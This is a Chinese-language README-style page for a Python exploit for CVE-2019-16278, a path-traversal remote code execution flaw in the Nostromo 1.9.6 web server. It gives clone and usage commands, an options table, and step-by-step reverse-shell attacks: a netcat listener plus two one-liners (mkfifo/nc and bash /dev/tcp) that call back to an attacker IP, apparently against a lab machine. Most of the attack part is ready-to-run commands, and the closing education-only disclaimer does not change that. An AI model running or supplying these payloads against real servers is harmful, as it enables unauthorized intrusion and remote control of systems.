
由于未能验证 URL,导致路径遍历到系统中存在的任何文件,未认证攻击者可以强制服务器指向诸如 '/bin/sh' 的 shell 文件并执行任意命令。Nostromo 的 1.9.6 等版本未能验证此 URL
POC
代码仓库: https://github.com/CybermonkX/CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution.git
本仓库包含针对 CVE-2019-16278 的 Python 漏洞利用脚本,该漏洞存在于 Nostromo 1.9.6(一款 Web 服务器)中。该漏洞通过目录遍历攻击,允许在目标系统上执行任意命令,从而实现远程代码执行(RCE)。
git clone https://github.com/CybermonkX/CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution.git
cd CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution
python3 CVE-2019-16278.py -t <TARGET_IP> -p <PORT> -c "<COMMAND>" [-b <BYTES_TO_READ>]
参数说明:
| 参数 | 描述 | 必需 | 默认值 |
|---|---|---|---|
-t, --target | 目标 IP 地址 | 是 | 无 |
-p, --port | 目标端口 | 是 | 无 |
-c, --command | 要在服务器上执行的命令 | 是 | 无 |
-b, --bytes | 从响应中读取的字节数 | 否 | 4096 |
python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "whoami"
第一步: 在攻击机上启动 Netcat 监听器:
nc -lvnp 443
第二步: 使用反向 Shell 负载执行漏洞利用脚本:
python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.16.5 443 > /tmp/f"
python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"
此工具仅用于教育目的。请勿将其用于您未拥有或未经明确授权的系统。未经授权的系统访问是违法的。请负责任地使用。